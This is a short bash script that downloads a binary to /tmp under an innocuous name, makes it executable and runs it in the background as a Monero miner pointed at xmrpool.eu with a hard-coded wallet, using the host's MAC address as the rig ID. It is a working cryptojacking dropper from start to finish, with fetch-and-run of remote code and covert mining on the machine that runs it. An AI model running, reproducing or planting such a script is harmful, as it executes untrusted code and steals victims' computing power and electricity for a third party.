#!/bin/bash

FILE_NAME="/tmp/lkjh"
DOWNLOAD_URL="https://release-assets.githubusercontent.com/github-production-release-asset/1081818828/9fa4c974-6831-46fe-883e-4c9810f0accc?sp=r&sv=2018-11-09&sr=b&spr=https&se=2025-10-23T11:57:56Z&rscd=attachment;+filename=lkjh&rsct=application/octet-stream&skoid=96c2d410-5711-43a1-aedd-ab1947aa7ab0&sktid=398a6654-997b-47e9-b12b-9515b896b4de&skt=2025-10-23T10:57:36Z&ske=2025-10-23T11:57:56Z&sks=b&skv=2018-11-09&sig=g4vzWxZGasWK7UVTjcWaISTHFa/43gr6EZ4WpHictbw=&jwt=eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.[payload removed: 222 characters].udTMO5UYNg1GiWo07AMFg0PEaYogGqoWzHMdhuW2PfE&response-content-disposition=attachment; filename=lkjh&response-content-type=application/octet-stream"

INTERFACE=$(ls /sys/class/net/ | grep -v '^lo$' | head -n 1)
MAC_ADDRESS_RAW=$(cat "/sys/class/net/${INTERFACE}/address")
MAC_ADDRESS=${MAC_ADDRESS_RAW//:/}

if [ ! -f "$FILE_NAME" ]; then
    curl -L -o "$FILE_NAME" "$DOWNLOAD_URL"

    if [ $? -ne 0 ]; then
        wget -O "$FILE_NAME" "$DOWNLOAD_URL"

        if [ $? -ne 0 ]; then
            exit 1 
        fi
    fi

    chmod +x "$FILE_NAME"
fi

if ! pgrep -x "$FILE_NAME" > /dev/null; then
    $FILE_NAME -o xmrpool.eu:5555 -u 4436NdC8BLeciQEsHN96joUis7EidAnhHHWJZVDEtm5ojXxdk9vtZY7cVRkWqkHRSaKmE9DiVMDSRZLjfhE2gvGQ9WEBtUc --rig-id=$MAC_ADDRESS &
fi

exit 0
